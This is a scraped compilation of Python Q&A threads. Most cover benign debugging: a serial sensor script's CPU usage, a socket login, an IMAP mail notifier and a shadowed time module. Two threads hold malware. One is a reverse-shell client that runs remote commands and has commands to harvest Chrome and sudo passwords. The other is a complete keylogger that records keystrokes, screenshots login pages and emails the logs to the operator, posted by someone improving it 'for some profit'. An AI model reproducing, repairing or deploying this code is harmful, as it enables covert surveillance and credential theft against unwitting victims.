Python script too much cpu usage - python

I'm not an expert in programming so i googled a lot to get this script to work. It listens on the serial interface ans is searching for 3 values (temperature, humidity and battery level). If it finds one of zhem it saves it to a text file and checks if the value is above or under a certain level. I f this is the case it sends an e-mail to warn.
My problem is that it uses constatntly about 99% of cpu power...
Can you help me to limit the CPU usage to a minimum.
Thanks
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import serial
import time
import sys
import smtplib
from time import sleep
def mail(kind, how, value, unit):
fromaddr = 'sender#domain.com'
toaddrs = 'recipient#domain.com'
msg = "\r\n".join([
"From: sender",
"To: recipient",
"Subject: Warning",
"",
"The " + str(kind) + " is too " + str(how) + ". It is " + str(value) + str(unit)
])
username = 'user'
password = 'password'
server = smtplib.SMTP('server:port')
server.ehlo()
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
def main():
port = '/dev/ttyAMA0'
baud = 9600
ser = serial.Serial(port=port, baudrate=baud)
sleep(0.2)
while True:
while ser.inWaiting():
# read a single character
char = ser.read()
# check we have the start of a LLAP message
if char == 'a':
# start building the full llap message by adding the 'a' we have
llapMsg = 'a'
# read in the next 11 characters form the serial buffer
# into the llap message
llapMsg += ser.read(11)
if "TMPB" in llapMsg:
TMPB = llapMsg[7:]
with open("TMPB.txt", "w") as text_file:
text_file.write(TMPB)
if float(TMPB) >= 19:
mail("temperature", "high", TMPB, "°C")
elif float(TMPB) <= 15:
mail("temperature", "low", TMPB, "°C")
else:
pass
elif "HUMB" in llapMsg:
HUMB = llapMsg[7:]
with open("HUMB.txt", "w") as text_file:
text_file.write(HUMB)
if float(HUMB) >= 80:
mail("humidity", "high", HUMB, "%")
elif float(HUMB) <= 70:
mail("humidity", "low", HUMB, "%")
else:
pass
elif "BATT" in llapMsg:
BATT = llapMsg[7:11]
with open("BATT.txt", "w") as text_file:
text_file.write(BATT)
if float(BATT) < 1:
mail("battery level", "low", BATT, "V")
else:
pass
sleep(0.2)
if __name__ == "__main__":
main()

I solved the question myself.
The while ser.inWaiting(): loop was causing the heavy cpu load.
I removed it and corrected the indentation and it works great with a few % cpu load.
Thanks for your hints, it helped me solving the problem.

Related

Sending an image using sockets in Python3

Im working on a reverse shell project and I am using Python3. I am currently working on sending files over a socket connection but I can not for the love of good get it to work :( I have search the web and all google links are purple, so I am trying my luck here now.
Every time I try to send the file over I either get connection lost or the file just simply dose not transfer right.
I have tried different types of ways to get the image source over. The best attempts yet have been when I decode the image source into base64 and send them over but I think the problem has to do with the recv(1024).
Server.py
##################################
# Server.py #
##################################
#Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if cmd == 'quit':
break
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_respons = str(conn.recv(1024), "utf-8")
#Custom commands requiering server based actions
if client_respons.startswith('osx_screen_shot') == True:
screen = client_respons[15:] #Delete 'osx_screen_shot ' fomr the string
f = open('temp.png', 'wb')
while screen != bytes(''.encode()):
#print(data)
data_d = str(conn.recv(1024))
f.write(data_d)
else:
print(client_respons, end="")
except:
print("Connection was lost")
break
Client.py
##################################
# Client.py #
##################################
#====== Screen Shoot ======#
def osx_screen_shot():
os.system("export PATH=/bin:/usr/bin:/sbin:/usr/sbin")
os.system("screencapture -x /tmp/temp")
try:
with open("/tmp/temp", 'rb') as hoosh:
data = hoosh.read(1024)
s.send(data)
while data != bytes(''.encode()):
#print(data)
data = hoosh.read(1024)
s.send(data)
print(' File sent successfully.')
except:
return "Something went wrong"
#====== Listener =====#
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
current_dir = "\033[1;31m[\033[0;97m"+str(os.getcwd())+"\033[1;31m]\033[0;97m"
#Custom payload
if len(data) > 0:
if data == 'osx_menu':
string = help_menu()
s.send(str(string + current_dir) + ' ')
elif data == 'osx_chrome_pass':
passwords = function_chrome_decrypt()
s.send(str(passwords + current_dir) + ' ')
elif data[:2] == 'cd':
s.send(str(current_dir) + ' ')
elif data == 'osx_get_sudo_pass':
string = get_sudo_password()
s.send(str(string + current_dir) + ' ')
elif data == 'osx_screen_shot':
imgae_code = osx_screen_shot()
s.send(str(imgae_code))
elif data != '':
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str.decode(output_bytes)
s.send(str(output_str + current_dir) + ' ')
What I except from the code is to be able to send the image source code over a socket and get the image on the server computer

python sockets, trying to make a log in interaction betwen server and client

Hello so i have my server with a database (dictironay) and another passworddatabase
import socket
import sys
from _thread import *
host = ""
port = 8000
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Socket Created")
try:
serversocket.bind((host, port))
except socket.error as e:
print(str(e))
sys.exit()
database = {"name1" :{"hair" : "red", "size" : 1.50}}
password_database = {"name1": "1234",
"name2": "4321"}
def client_thread(conn): #threader client
welcome = "Welcome to the server. Type something and hit enter \n"
conn.send(welcome.encode("UTF-8"))
login(conn)
while True: # NOT IMPORTANT KEEP READING
data = conn.recv(24)
reply = data.decode("UTF-8")
if reply == "1":
menu1 = "Menu 1: Buy \n"
conn.send(menu1.encode("UTF-8"))
else:
wrong = "wrong option \n"
conn.send(wrong.encode("UTF-8"))
def login(conn): #MY LOGIC PROBLEM IS HERE
log = "Log in MENU: \n"
logi = log.encode("UTF-8")
conn.send(logi)
us = "Username: \n"
use = us.encode("UTF-8")
conn.send(use)
userr = conn.recv(24)
user = userr.decode("UTF-8")
pa = "Password: \n"
pasw = pa.encode("UTF-8")
conn.send(pasw)
passr = conn.recv(24)
passw = passr.decode("UTF-8")
tries = 0
while tries < 3:
if user in passwordDictionary and passwordDictionary[user] == passw:
print("Logged in")
menu()
else:
print("Wrong Username Or Password \n")
tries += 1
print("You failed the login too many times, blocking you out")
conn.close()
while 1: # NOT IMPORTANT
conn, addr = serversocket.accept()
print("Connected with " + addr[0] + ":" + str(addr[1]))
start_new_thread(client_thread, (conn, ))
serversocket.close()
Whats working:
The server is working fine, i'm having troubles doing the login on the client side.
client.py ==> client DOESNT go into the if data == Log in menu
is there a better way to do this?
#! /usr/bin/python3
import socket
clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clientsocket.connect(('localhost', 8000))
print("Connected")
datae = clientsocket.recv(24)
data = datae.decode("UTF-8")
clientsocket.send(datae)
while data != "!q":
if data == "Log in MENU: \n":
usere = input()
user = usere.encode("UTF-8")
clientsocket.send(user)
What would be the best way to create an log in interaction with the server?
the server has the usernames and passwords, i need to log in and then i need to edit the database depending on what user was chossen, but i'm having a hard time doing the algorithm
theres problems with the code you provided... however ill assume it actually works for you somehow and rather than copy paste you manually typed it
you are recieveing the first message here
datae = clientsocket.recv(24)
data = datae.decode("UTF-8") # GOT A MESSAGE
You then have the message datae = b'Welcome to the server. '
which does not match "Log in MENU: \n", and data != "!q" so it goes back into your loop and checks if data == "Log in MENU: \n" it doesnt so it repeats ... but you never get the next message instead try something like this second message
data = ""
while data != "!q":
if data == "Log in MENU: \n":
usere = input()
user = usere.encode("UTF-8")
clientsocket.send(user)
data = clientsocket.recv(24).decode("UTF-8") # GET THE NEXT MESSAGE!
but even then you are going to have problems because your server continues to write so you will get something like "Log in MENU: \nUsername" or something .... basically you need to work out a better message passing scheme than recv(24)
To avoid Errors try using a header with something like 64 Bytes wich always is the first message send. This Header is then used to send the actual length of the following message to the server. For example:
def send_response(conn, msg):
message = msg.encode(FORMAT)
send_length = len(str(len(message)).encode(FORMAT))
res_len = bytes(len(message)) + (b' ' * (HEADER - send_length))
print(f"[SENDING MESSAGE] {msg}")
conn.send(res_len)
conn.send(response)

Cannot connect to imap server on python

I'm a networking student who has little programming experience and I have simple project on my hands where I need to make a simple notification that notifies the user when an email arrives in gmail. I have been trying to get this to work for the last few weeks and I am honestly stuck and struggling. I'm using the code below and I think the problem is the authentication bit, where I can't connect to the server. All help is appreciated.
import imaplib
import re
import time
import subprocess
## enter your account details bellow!
imapServer = "imap.gmail.com"
port = "993"
username = "example#gmail.com"
password = "password"
##how often to check ? give interval in seconds! Checking too often might performance and stability.
checkInterval = 120
Mailbox = imaplib.IMAP4_SSL(imapServer, port)
rc,resp = Mailbox.login(username,password)
if rc == 'OK':
print("Connected to mail-server " + imapServer)
rc, message = Mailbox.status('INBOX', "(UNSEEN)")
unreadCount = int(re.search("UNSEEN (\d+)",str( message[0])).group(1))
oldValue = 0
file = open("%sytemdrive%\Windows\Temp\mailnotify.tmp", "w+")
file.write(str(unreadCount))
file.close
while(1):
rc, message = Mailbox.status('INBOX', "(UNSEEN)")
unreadCount = int(re.search("UNSEEN (\d+)",str( message[0])).group(1))
file = open("%sytemdrive%\Windows\Temp\mailnotify.tmp", "w+")
oldValue = int(file.readline())
file.close()
if (unreadCount>oldValue):
subprocess.call(["notify-send", "-u", "low", "low", "t", "5000", "New email!", "New email!",
"You have " + str(unreadCount) + " unread " + "emails!" if unreadCount > 1 else "email!",
"--icon=email"])
if oldValue != unreadCount:
file = open("%sytemdrive%\Windows\Temp\mailnotify.tmp", "w+")
file.write(str(unreadCount))
file.close()
time.sleep(checkInterval)
else :
print('Fail to connect')
Mailbox.logout()
file.remove()

Python Smtplib Sendmail Error

I was improvising on my Friends keylogger for some profit yesterday. When I run the py file of the keylogger in python IDLE I get this error
Traceback (most recent call last):
File "C:\Python27\Scripts\Configure.py", line 263, in <module>
sendEmail()
File "C:\Python27\Scripts\Configure.py", line 224, in sendEmail
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
File "C:\Python27\lib\smtplib.py", line 743, in sendmail
(code, resp) = self.data(msg)
File "C:\Python27\lib\smtplib.py", line 504, in data
raise SMTPDataError(code, repl)
SMTPDataError: (421, '4.7.0 Temporary System Problem. Try again later (RQ). z29sm64505579pff.0 - gsmtp')
Note that Configure.py is the name of the keylogger. Here is the Keylogger :
#!/usr/bin/python
# Automated Keylogger 0.1a #
# ------------------------ #
# > www.TechnicDynamic.com #
# ------------------------ #
# Credits to original code from DaniWeb forums:
# http://www.daniweb.com/software- development/python/threads/229564/python-keylogger
# Currently works on Windows only
# -------------------------------
# * Records all keystrokes
# * Takes automated screenshots (see config below)
# * Sends email containing logs and screenshots
# Required modules
# ----------------
# Make sure they're all installed if you plan to compile it yourself.
from time import sleep
from threading import Timer
from threading import Thread
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from PIL import Image, ImageGrab
from email.mime.multipart import MIMEMultipart
import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform
import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib
# Keylogger settings
#################################
# Email Settings #
LOG_SENDMAIL = False # set to True to send emails
LOG_MAIL = 'email#gmail.com' # account email address (must exist)
LOG_PASS = 'password' # email's password (must exist)
LOG_FROM = 'bla#blabla.com' # email will be sent from this address
LOG_SUBJ = 'Long time my friend'# email subject
LOG_MSG = 'Howdy!' # email content - the body
# ----------------------------- #
# Screenshot Settings #
LOG_SCREENSHOT = False # set to True to take screenshot(s)
LOG_SCREENSNUM = 3 # set amount of screenshot to take.
LOG_INTERVAL = 2 # interval between each screenshot.
LOG_SCREEN = [] # this list contains matches for taking automated screenshots...
#LOG_SCREEN.append("Facebook") # for example, if it finds "Facebook" in titlebar..
#LOG_SCREEN.append("Sign In") # or if it finds "Sign In", common email login page.
#LOG_SCREEN.append("Google") # -- 'watchu googlin fool?
# ----------------------------- #
# System Settings # [shouldn't be modified]
LOG_FILENAME = 'tmpConf.txt' # log file (current directory)
LOG_TOSEND = [] # contains files to send in email attachment
LOG_ACTIVE = '' # stores active window
LOG_STATE = False # Start keylogger as false
LOG_TIME = 0 # amount of time to log in seconds, where 0 = infinite and 86400 = 1 day
LOG_TEXT = "" # this is the raw log var which will be written to file
LOG_TEXTSIZE = 0 # marks the beginning and end of new text blocks that separate logs
LOG_MINTERVAL = 86400 # main loop intervals in seconds, where 86400 = 1 day (default)
LOG_THREAD_kl = 0 # thread count for keylogger
LOG_THREAD_ss = 0 # thread count for automated screenshots
# ----------------------------- #
# Debug [Don't change] #
# LOG_ITERATE = 3 #
# print os.getcwd() #
#################################
# this sets the thread ID before execution.
main_thread_id = win32api.GetCurrentThreadId()
def Keylog(k, LOG_TIME, LOG_FILENAME):
# only supported for Windows at the moment...
if os.name != 'nt': return "Not supported for this operating system.\n"
global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
LOG_STATE = True # begin logging!
main_thread_id = win32api.GetCurrentThreadId()
# add timestamp when it starts...
LOG_TEXT += "\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += ' ' + str(LOG_DATE) + ' >>> Logging started.. |\n'
LOG_TEXT += "===================================================\n\n"
# find out which window is currently active!
w = win32gui
LOG_ACTIVE = w.GetWindowText (w.GetForegroundWindow())
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n"
LOG_TEXT += " " + LOG_ACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n\n"
if LOG_TIME > 0:
t = Timer(LOG_TIME, stopKeylog) # Quit
t.start()
# open file to write
LOG_FILE = open(LOG_FILENAME, 'w')
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages() # this is where all the magic happens! ;)
# after finished, we add the timestamps at the end.
LOG_FILE = open(LOG_FILENAME, 'a')
LOG_TEXT += "\n\n===================================================\n"
LOG_DATE = datetime.datetime.now()
LOG_TEXT += " " + str(LOG_DATE) + ' >>> Logging finished. |\n'
LOG_TEXT += "===================================================\n"
LOG_STATE = False
try:
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
except:
LOG_FILE.close()
return True
# this function stops the keylogger...
# thank God for the StackOverflow thread! :D
def stopKeylog():
win32api.PostThreadMessage(main_thread_id, win32con.WM_QUIT, 0, 0);
# this function actually records the strokes...
def OnKeyboardEvent(event):
global LOG_STATE, LOG_THREAD_ss
# return if it isn't logging.
if LOG_STATE == False: return True
global LOG_TEXT, LOG_FILE, LOG_FILENAME, LOG_ACTIVE, LOG_INTERVAL, LOG_SCREENSHOT, LOG_SCREENSNUM
LOG_TEXT = ""
LOG_FILE = open(LOG_FILENAME, 'a')
# check for new window activation
wg = win32gui
LOG_NEWACTIVE = wg.GetWindowText (wg.GetForegroundWindow())
if LOG_NEWACTIVE != LOG_ACTIVE:
# record it down nicely...
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "\n\n[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n"
LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
LOG_ACTIVE = LOG_NEWACTIVE
# take screenshots while logging!
if LOG_SCREENSHOT == True:
LOG_IMG = 0
while LOG_IMG < len(LOG_SCREEN):
if LOG_NEWACTIVE.find(LOG_SCREEN[LOG_IMG]) > 0:
LOG_TEXT += "[*] Taking " + str(LOG_SCREENSNUM) + " screenshot for \"" + LOG_SCREEN[LOG_IMG] + "\" match.\n"
LOG_TEXT += "[*] Timestamp: " + str(datetime.datetime.now()) + "\n\n"
ss = Thread(target=takeScreenshots, args= (LOG_THREAD_ss,LOG_SCREENSNUM,LOG_INTERVAL))
ss.start()
LOG_THREAD_ss += 1 # add 1 to the thread counter
LOG_IMG += 1
LOG_FILE.write(LOG_TEXT)
LOG_TEXT = ""
if event.Ascii == 8: LOG_TEXT += "\b"
elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n"
else: LOG_TEXT += str(chr(event.Ascii))
# write to file
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
return True
# screenshot function
def Screenshot():
img=ImageGrab.grab()
saveas=os.path.join(time.strftime('%Y_%m_%d_%H_%M_%S')+'.png')
img.save(saveas)
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(saveas)
LOG_TOSEND.append(addFile) # add to the list
# take multiple screenshots function
# args = number of shots, interval between shots
def takeScreenshots(i, maxShots, intShots):
shot = 0
while shot < maxShots:
shottime = time.strftime('%Y_%m_%d_%H_%M_%S')
Screenshot()
time.sleep(intShots)
shot += 1
# send email function
# this example is for GMAIL, if you use a different server
# you MUST change the line below to the server/port needed
# server = smtplib.SMTP('smtp.gmail.com:587')
def sendEmail():
msg = MIMEMultipart()
msg['Subject'] = LOG_SUBJ
msg['From'] = LOG_FROM
msg['To'] = LOG_MAIL
msg.preamble = LOG_MSG
# attach each file in LOG_TOSEND list
for file in LOG_TOSEND:
# attach text file
if file[-4:] == '.txt':
fp = open(file)
attach = MIMEText(fp.read())
fp.close()
# attach images
elif file[-4:] == '.png':
fp = open(file, 'rb')
attach = MIMEImage(fp.read())
fp.close()
attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(attach)
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(LOG_MAIL, LOG_PASS)
server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())
server.quit()
# function to clean up fiels
def deleteFiles():
if len(LOG_TOSEND) < 1: return True
for file in LOG_TOSEND:
os.unlink(file)
# begin keylogging
kl = Thread(target=Keylog, args=(LOG_THREAD_kl,LOG_TIME,LOG_FILENAME))
kl .start()
# if keylogging is running infinitely
if LOG_TIME < 1:
# begin continuous loop
while True:
# zZzzzzZZzzZ
time.sleep(LOG_MINTERVAL) # sleep for time specified
LOG_NEWFILE = time.strftime('%Y_%m_%d_%H_%M_%S') + ".txt"
# add file to the LOG_TOSEND list
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_NEWFILE)
LOG_TOSEND.append(addFile) # add to the list
LOG_SAVEFILE = open(LOG_NEWFILE, 'w')
LOG_CHCKSIZE = open(LOG_FILENAME, 'r')
LOG_SAVEFILE.write(LOG_CHCKSIZE.read())
LOG_CHCKSIZE.close()
try:
LOG_SAVEFILE.write(LOG_SAVETEXT)
LOG_SAVEFILE.close()
except:
LOG_SAVEFILE.close()
# send email
if LOG_SENDMAIL == True:
sendEmail()
time.sleep(6)
deleteFiles()
LOG_TOSEND = [] # clear this list
# otherwise sleep for specified time, then break program
elif LOG_TIME > 0:
# sleep for time specified
time.sleep(LOG_TIME)
time.sleep(2)
# check to send email
if LOG_SENDMAIL == True:
addFile = str(os.getcwd()) + "\\" + str(LOG_FILENAME)
LOG_TOSEND.append(addFile) # add to the list
sendEmail()
time.sleep(2)
sys.exit()
This keylogger is not made by me and I was only Improvising it and hence had no plans for using it.
Here is the screenshot for the python IDLE
Image -Updated
The Up and running and Network Currently down are my ways to ensure that connection is there before it sends the keylogger to the receiver's mail id. Again I am only improvising. So you can see that it succeeded sending the data almost 19 times but then the error showed up. So I can I fix it ?
Regards,
Note- I updated the Image

time.sleep(1) error -- python on Raspberry Pi

I have:
time.sleep(1)
in my python twice.
However on the second time the script crashes saying:
Traceback (most recent call last):
File "ON-BOOT.py", line 36, in <module>
time.sleep(1)
AttributeError: 'int' object has no attribute 'sleep'
Idk whats wrong with it.
Here is the full script (it runs at boot on my Raspberry Pi)
#!/usr/bin/python3
import socket
import os
import smtplib
import time
import RPi.GPIO as gpio
print "ON-BOOT running..."
time.sleep(1)
gpio.setmode(gpio.BOARD)
gpio.setup(7,gpio.IN)
bi = 0
time = 0
selectAction = "false"
os.system("omxplayer -o hdmi /var/www/siren1.mp3")
gw = os.popen("ip -4 route show default").read().split()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((gw[2], 0))
ipaddr = s.getsockname()[0]
gateway = gw[2]
host = socket.gethostname()
print ("IP:", ipaddr, " GW:", gateway, " Host:", host)
fromaddr = 'billyg270#example.com'
toaddrs = 'billyg270#example.com'
msg = "ROBO pie active on port: " + ipaddr
username = 'billyg270#example.com'
password = '**MY PASSWORD**'
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo()
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
os.system ("espeak -ven+f3 -k5 -s150 'ROBO pie active on port " + ipaddr + "'")
print msg
time.sleep(1)
os.system ("espeak -ven+f3 -k5 -s150 'You now have 5 seconds to press the button if you wish to launch, test1'")
selectAction = "true"
while selectAction == "true":
print "time: " + str(time)
print "selectAction: " + selectAction
time.sleep(0.1)
time += 1
print "bi: " + str(bi)
if(time < 50):
if (gpio.input(buttonPin)):
#button pressed
bi += 1
if(time > 50):
os.system ("espeak -ven+f3 -k5 -s150 'You can no longer press the button'")
selectAction = "false"
if(bi > 0):
os.system ("espeak -ven+f3 -k5 -s150 'You have selected to launch, test1'")
os.system("cd /var/www")
gpio.cleanup()
os.system("sudo python test1.py")
gpio.cleanup()
Line 12 writes over the time module:
time = 0
And when you call time.sleep() the next time, you actually call 1.sleep(1) or something like that.
You have several refactoring options:
from time import sleep
import time as time_module (not too pretty imo)
Or rename your variable, which is the best option I think.

Categories

Resources